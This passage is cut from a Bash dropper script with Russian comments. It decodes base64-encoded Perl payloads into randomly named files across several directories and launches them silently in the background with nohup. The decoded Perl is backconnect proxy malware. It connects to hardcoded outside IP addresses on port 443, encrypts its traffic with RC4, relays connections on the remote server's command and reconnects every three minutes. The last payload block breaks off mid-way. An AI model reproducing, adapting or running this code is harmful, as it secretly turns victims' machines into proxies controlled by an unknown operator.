cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #32 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #32 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 33 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #33 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #33 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 34 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9 